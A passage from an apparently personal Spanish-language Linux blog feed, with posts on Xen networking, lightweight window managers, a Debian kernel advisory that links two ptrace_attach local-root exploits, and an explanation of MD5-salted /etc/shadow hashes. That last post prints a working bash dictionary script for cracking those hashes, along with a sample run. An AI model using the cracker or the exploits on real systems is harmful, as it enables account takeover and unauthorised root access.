<p>Cuando ya hayamos iniciado con <em>xen-linux-system</em>, debemos editar el fichero <em>/etc/xen/xend-config.sxp</em>. Vamos a la linea donde configuramos la red, debe aparecer algo como &#8220;<em>(network-script network-dummy)</em>&#8221; y debemos cambiarlo por &#8220;<em>(network-script network-bridge)</em>&#8220;. Cuando intentemos crear nuestra primera máquina virtual, xen nos enviará un mensaje advirtiendo que debemos configurar esa linea en el fichero de configuración.</p>
<p>Eso es todo.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-instalacion-configuracion-pt1%2F&amp;linkname=Xen%3A%20Instalaci%C3%B3n%20y%20configuraci%C3%B3n%20%28pt1%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-instalacion-configuracion-pt1%2F&amp;linkname=Xen%3A%20Instalaci%C3%B3n%20y%20configuraci%C3%B3n%20%28pt1%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-instalacion-configuracion-pt1%2F&amp;linkname=Xen%3A%20Instalaci%C3%B3n%20y%20configuraci%C3%B3n%20%28pt1%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-instalacion-configuracion-pt1%2F&amp;linkname=Xen%3A%20Instalaci%C3%B3n%20y%20configuraci%C3%B3n%20%28pt1%29" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-instalacion-configuracion-pt1%2F&amp;linkname=Xen%3A%20Instalaci%C3%B3n%20y%20configuraci%C3%B3n%20%28pt1%29" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-instalacion-configuracion-pt1%2F&amp;linkname=Xen%3A%20Instalaci%C3%B3n%20y%20configuraci%C3%B3n%20%28pt1%29" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-instalacion-configuracion-pt1%2F&amp;linkname=Xen%3A%20Instalaci%C3%B3n%20y%20configuraci%C3%B3n%20%28pt1%29" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fxen-instalacion-configuracion-pt1%2F&amp;linkname=Xen%3A%20Instalaci%C3%B3n%20y%20configuraci%C3%B3n%20%28pt1%29">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/xen-instalacion-configuracion-pt1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Local root exploit en kernel 2.6.x (hasta la 2.6.29)</title>
		<link>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/</link>
		<comments>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/#comments</comments>
		<pubDate>Sun, 17 May 2009 23:45:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=287</guid>
		<description><![CDATA[El Viernes pasado se anunciaron, en la lista de seguridad de debian, actualizaciones para el kernel, que solucionaba varias vulnerabilidades. CVE-2009-0028 Chris Evans discovered a situation in which a child process can send an arbitrary signal to its parent. CVE-2009-0834 Roland McGrath discovered an issue on amd64 kernels that allows local users to circumvent system [...]]]></description>
			<content:encoded><![CDATA[<p>El Viernes pasado se anunciaron, en la lista de seguridad de debian, <a href="http://lists.debian.org/debian-security-announce/2009/msg00111.html" target="_blank">actualizaciones para el kernel</a>, que solucionaba varias vulnerabilidades.</p>
<blockquote>
<pre>CVE-2009-0028

    Chris Evans discovered a situation in which a child process can
    send an arbitrary signal to its parent.

CVE-2009-0834

    Roland McGrath discovered an issue on amd64 kernels that allows
    local users to circumvent system call audit configurations which
    filter based on the syscall numbers or argument details.

CVE-2009-0835

    Roland McGrath discovered an issue on amd64 kernels with
    CONFIG_SECCOMP enabled. By making a specially crafted syscall,
    local users can bypass access restrictions.

CVE-2009-0859

    Jiri Olsa discovered that a local user can cause a denial of
    service (system hang) using a SHM_INFO shmctl call on kernels
    compiled with CONFIG_SHMEM disabled. This issue does not affect
    prebuilt Debian kernels.

CVE-2009-1046

    Mikulas Patocka reported an issue in the console subsystem that
    allows a local user to cause memory corruption by selecting a
    small number of 3-byte UTF-8 characters.

CVE-2009-1072

    Igor Zhbanov reported that nfsd was not properly dropping
    CAP_MKNOD, allowing users to create device nodes on file systems
    exported with root_squash.

CVE-2009-1184

    Dan Carpenter reported a coding issue in the selinux subsystem
    that allows local users to bypass certain networking checks when
    running with compat_net=1.

CVE-2009-1192

    Shaohua Li reported an issue in the AGP subsystem they may allow
    local users to read sensitive kernel memory due to a leak of
    uninitialized memory.

CVE-2009-1242

    Benjamin Gilbert reported a local denial of service vulnerability
    in the KVM VMX implementation that allows local users to trigger
    an oops.

CVE-2009-1265

    Thomas Pollet reported an overflow in the af_rose implementation
    that allows remote attackers to retrieve uninitialized kernel
    memory that may contain sensitive data.

CVE-2009-1337

    Oleg Nesterov discovered an issue in the exit_notify function that
    allows local users to send an arbitrary signal to a process by
    running a program that modifies the exit_signal field and then
    uses an exec system call to launch a setuid application.

CVE-2009-1338

    Daniel Hokka Zakrisson discovered that a kill(-1) is permitted to
    reach processes outside of the current process namespace.

CVE-2009-1439

    Pavan Naregundi reported an issue in the CIFS filesystem code that
    allows remote users to overwrite memory via a long
    nativeFileSystem field in a Tree Connect response during mount.</pre>
</blockquote>
<p>Se publicaron dos exploits para explotar vulnerabildades de escalacion de provilegios local. Estos exploits se aprovechan de la funcion <em>ptrace_attach()</em> para ejecutar un <em>codigo arbitrario</em> que nos permita ejecutar una shell del tipo /bin/sh como root.<br />
El primer exploit es el <a href="http://blog.zerial.org/files/exploits/shoryuken.c"><strong>shoryuken</strong></a>, lo probé en distintas versiones del kernel de debian y archlinux, pudiendo ser explotada solo la version 2.6.26-1-686 de Debian 5.0, de forma aleatoria, es decir, hay veces que ejecuto el exploit y funciona y otras veces no. El <a href="http://blog.zerial.org/files/exploits/ptrace_attach.c">segundo script</a> fue probado por su autor en la version del kernel 2.6.29rc1 de <a href="http://www.gentoo.org" target="_blank">Gentoo</a>.<br />
Estos exploits funcionan bajo situaciones especificas y no todos los sistemas son vulnerables.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;linkname=Local%20root%20exploit%20en%20kernel%202.6.x%20%28hasta%20la%202.6.29%29">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Descifrando password encriptadas con shadow (md5 + salt)</title>
		<link>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/</link>
		<comments>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 05:27:14 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[codigos]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[shadow]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=155</guid>
		<description><![CDATA[En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero /etc/shadow, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una shadow password es un hash del password mas un salt (hashed and salted password). Un ejemplo de una clave shadow es root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::, si la [...]]]></description>
			<content:encoded><![CDATA[<p>En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero <strong>/etc/shadow</strong>, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una <em>shadow password</em> es un hash del password mas un salt (<em>hashed and salted password</em>).<br />
Un ejemplo de una clave shadow es <em>root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::</em>, si la analizamos podemos darnos cuenta de lo siguiente:</p>
<ul>
<li>Lo que nos interesa es solamente <em>root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30.</em></li>
<li>Lo que esta antes de &#8220;:&#8221; corresponde al usuario: root; y lo que sigue es la password.</li>
<li>Si descomponemos la password podemos obtener:</li>
<li>$1$: Nos indica que corresponde a una encriptacion md5.</li>
<li><em>xOqq7NEt: </em>Es el SALT que se usa para generar el hash del password<em><br />
</em></li>
<li><em>vDOA0jbLcaiRbGsj3ddz30.: </em>Es el hash salteado de nuestra password.</li>
</ul>
<p>Si analizamos todos estos datos podemos darnos cuenta que teniendo el salt podemos encriptar una palabra o frase y generar un hash similar al que estaba en el fichero /etc/shadow, por lo que solo nos queda crear un script y tener un diccionario de palabras a mano para empezar a <em>crackear o descifrar</em> las password en shadow.</p>
<p>El comando <em>mkpasswd </em>nos permite generar un password segun un salt especificado.<br />
Ejemplo:</p>
<blockquote><p>machine:~$ mkpasswd -H md5 <em>miPassword</em> -S DSfdsdaA<br />
$1$DSfdsdaA$kOxgZsSAshG4W.dgGp28Y/</p></blockquote>
<p>He creado un script para hacer mas eficiente y automatiza un poco el proceso.</p>
<p><span id="more-155"></span></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re3">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re3">################################################################</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3">#</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re3"># Crack <span class="kw1">for</span> SHADOW PASSWORDS.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># Usage:</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># &nbsp; &nbsp; &nbsp; crack.<span class="kw2">sh</span> SALT ENCRYPTED_PASS WORD_LIST</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># Example:</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># &nbsp; &nbsp; &nbsp; crack.<span class="kw2">sh</span> mAsCaLaZ 8E6sMbq.fRDo6nbQqIh.z1 wordlist.txt</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re3">#</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># by Zerial &#8211; http://blog.zerial.org &#8211; fernando@zerial.org</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3">################################################################</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__SALT=</span>$<span class="nu0">1</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="re2">__HASH=</span><span class="st0">&quot;md5&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__FILE=</span>$<span class="nu0">3</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__RPWD=</span>$<span class="nu0">2</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Cracking $__RPWD &#8230;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Attempts: `wc -l $3 |cut -f1 -d &#8216; &#8216;`&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span> lista <span class="kw1">in</span> `<span class="kw2">cat</span> <span class="re1">$__FILE</span>`</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">pass_temp=</span>`mkpasswd -H <span class="re1">$__HASH</span> <span class="st0">&quot;$lista&quot;</span> -S <span class="re1">$__SALT</span> |cut -f4 -d <span class="st0">&#8216;$&#8217;</span>`;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re3">#echo </span><span class="st0">&quot;Probing $lista &#8230;&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> <span class="st0">&quot;$__RPWD&quot;</span> = <span class="st0">&quot;$pass_temp&quot;</span> <span class="br0">&#93;</span>; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Password Cracked.&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Decrypted password is: $lista&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">i=</span>`<span class="kw2">expr</span> <span class="re1">$i</span> + <span class="nu0">1</span>`;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">done</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Password not found. <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> &quot;</span>;</div>
</li>
</ol>
</div>
<p><strong>Funcionamiento:</strong> Lee palabras desde un fichero y por cada palabra leida genera un <em>hashed and salted password</em> y la compara con los parametros pasados al script.</p>
<blockquote><p>machine:~$ sh crack.sh DSfdsdaA .NySZJPYFdPr0ETVpMeKx1 wordlist<br />
Cracking .NySZJPYFdPr0ETVpMeKx1 &#8230;<br />
Attempts: 161597</p>
<p>Password Cracked.<br />
Decrypted password is: test</p></blockquote>
<p><a href="http://blog.zerial.org/files/shadow_cracker.sh">Descargar script</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;linkname=Descifrando%20password%20encriptadas%20con%20shadow%20%28md5%20%2B%20salt%29">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>5 Gestores de ventanas (window manager) ultra ligeros</title>
		<link>http://blog.zerial.org/linux/5-gestores-de-ventanas-window-manager-ultra-ligeros/</link>
		<comments>http://blog.zerial.org/linux/5-gestores-de-ventanas-window-manager-ultra-ligeros/#comments</comments>
		<pubDate>Wed, 15 Oct 2008 04:20:17 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[fluxbox]]></category>
		<category><![CDATA[lxde]]></category>
		<category><![CDATA[ranking]]></category>
		<category><![CDATA[top]]></category>
		<category><![CDATA[window manager]]></category>
		<category><![CDATA[windowlab]]></category>
		<category><![CDATA[wm]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=148</guid>
		<description><![CDATA[Me di la libertad de hacer un ranking top 5 de gestores de ventanas (window manager) mas ligeros para Linux, el orden no va a depender de cual es mejor o peor, me guiare en el orden en que los fui probando y que me fueron gustando. Tambien incluiré un bonus track con algunos window [...]]]></description>
			<content:encoded><![CDATA[<p>Me di la libertad de hacer un ranking top 5 de gestores de ventanas (window manager) mas ligeros para Linux, el orden no va a depender de cual es mejor o peor, me guiare en el orden en que los fui probando y que me fueron gustando. Tambien incluiré un <em>bonus track</em> con algunos window manager que han dejado de ser desarrollados o que simplemente no quice incluirlos dentro de este ranking top 5.</p>
<p><strong>Top 5</strong></p>
<ol>
<li><a href="http://fluxbox.org">Fluxbox</a></li>
<li><a href="http://windowmaker.info">WindowMaker</a></li>
<li><a href="http://lxde.org">Lxde</a></li>
<li><a href="http://www.angelfire.com/linux/floorzat/2diskXwin.htm">2-Disk</a></li>
<li><a href="http://nickgravgaard.com/windowlab/">WindowLab</a></li>
</ol>
<p><span id="more-148"></span></p>
<p><strong>Fluxbox</strong><br />
Este es un gestor de ventanas sencillamente genial, segun mi punto de vista es el mejor, mi favorito. Es completamente configurable, versatil, ultra ligero y rapido, optimizable, etc. Soporta transparencias en sus menus y barras de titulos, sencilla manera de configurar tus <em>hotkeys</em>, estilos o temas, elementos de inicio, etc.<br />
Especial para maquinas ligeras sin muchos recursos, o bien para maquinas <em>no-ligeras</em> que no quieren derrochar tantos recursos (como yo).<br />
Hace un tiempo publique <a href="http://blog.zerial.org/tag/fluxbox/">algunos tutoriales</a> para <em>enchular</em> este magnifico gestor de ventanas.</p>
<p style="text-align: center"><a href="http://blog.zerial.org/wp-content/uploads/2008/10/fb2.jpg"><img src="http://blog.zerial.org/wp-content/uploads/2008/10/fb2_thumb.jpg" alt="fluxbox new look" /></a></p>
<p><strong>WindowMaker</strong><br />
Fue mi preferido casi por un año, pero no resisti y volvi a fluxbox. Cuando lo usé no soportaba transparencias, costaba un poco configurarlo pero valia la pena, sumamente ligero. Sus caracteristicas actuales permiten poner transparencias en sus menus.<br />
Tambien ideal para maquinas de escasos recursos.<br />
<a href="http://blog.zerial.org/wp-content/uploads/2008/10/wmaker.jpg"><img class="aligncenter size-medium wp-image-150" title="Gestor de ventanas: windowmaker" src="http://blog.zerial.org/wp-content/uploads/2008/10/wmaker-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p><strong>Lxde</strong><br />
Hace un tiempo pense en cambiar de entorno de ventanas y busqué a ver si existia algun proyecto nuevo y encontre Lxde, nose que tan antiguo sera, pero no lo conocia. Si bien es bastante ligero y bonito, es un poco problematico de configurar, no es muy amistoso, hay que tener harto tiempo y paciencia. Lo recomiendo para quien lo quiera probar. Soporta iconos en el escritorio, una barra de tareas y un menu de aplicaciones y programas, que lo hace bastante amigable para la vista.<br />
<a href="http://blog.zerial.org/wp-content/uploads/2008/10/lxde.png"><img src="http://blog.zerial.org/wp-content/uploads/2008/10/lxde-300x225.png" alt="" title="Window Manager: Lxde" width="300" height="225" class="aligncenter size-medium wp-image-151" /></a></p>
<p><strong>2-Disk</strong><br />
Mi experiencia con este fue similar al anterior, en mi odisea por cambiar de entorno de ventanas lo conocí y no me agrado mucho, por su forma de configuracion poco amigable y ademas, es bastante feo, nose que tan <em>customizable</em> sea. No diré mucho sobre 2-Disk, pruebenlo.<br />
<a href="http://blog.zerial.org/wp-content/uploads/2008/10/2-disk.jpg"><img src="http://blog.zerial.org/wp-content/uploads/2008/10/2-disk-300x224.jpg" alt="" title="Window Manager; 2-disk" width="300" height="224" class="aligncenter size-medium wp-image-152" /></a></p>
<p><strong>WindowLab</strong><br />
Sinceramente, nunca lo probé por lo que no quiero emitir ninguna opinion al respecto, sólo que es ultra ligero y sencillo.<br />
<a href="http://blog.zerial.org/wp-content/uploads/2008/10/windowlab.png"><img src="http://blog.zerial.org/wp-content/uploads/2008/10/windowlab-300x225.png" alt="" title="Window Manager: windowlab" width="300" height="225" class="aligncenter size-medium wp-image-153" /></a></p>
<p>Los links de descarga de estos <em>window manager</em> estan al principio del post.</p>
<p><strong>bonus track</strong><br />
No he querido incluir algunos gestores por tu complejidad o bien por que estan descontinuados:<br />
<a href="http://kahakai.sourceforge.net/index.php">kahakai</a><br />
<a href="http://freshmeat.net/redir/waimea/19892/url_homepage/waimea">waimea</a><br />
<a href="http://blackboxwm.sourceforge.net/">Blackbox</a></p>
<p>Si tienen tiempo recomiendo que prueben <a href="http://www.enlightenment.org/">Enlightnement</a> y si no tienen tanto tiempo, pueden probar <a href="http://www.elivecd.org/">Elive</a>, distribucion Debian + Enlightenment.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2F5-gestores-de-ventanas-window-manager-ultra-ligeros%2F&amp;linkname=5%20Gestores%20de%20ventanas%20%28window%20manager%29%20ultra%20ligeros" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2F5-gestores-de-ventanas-window-manager-ultra-ligeros%2F&amp;linkname=5%20Gestores%20de%20ventanas%20%28window%20manager%29%20ultra%20ligeros" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2F5-gestores-de-ventanas-window-manager-ultra-ligeros%2F&amp;linkname=5%20Gestores%20de%20ventanas%20%28window%20manager%29%20ultra%20ligeros" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a 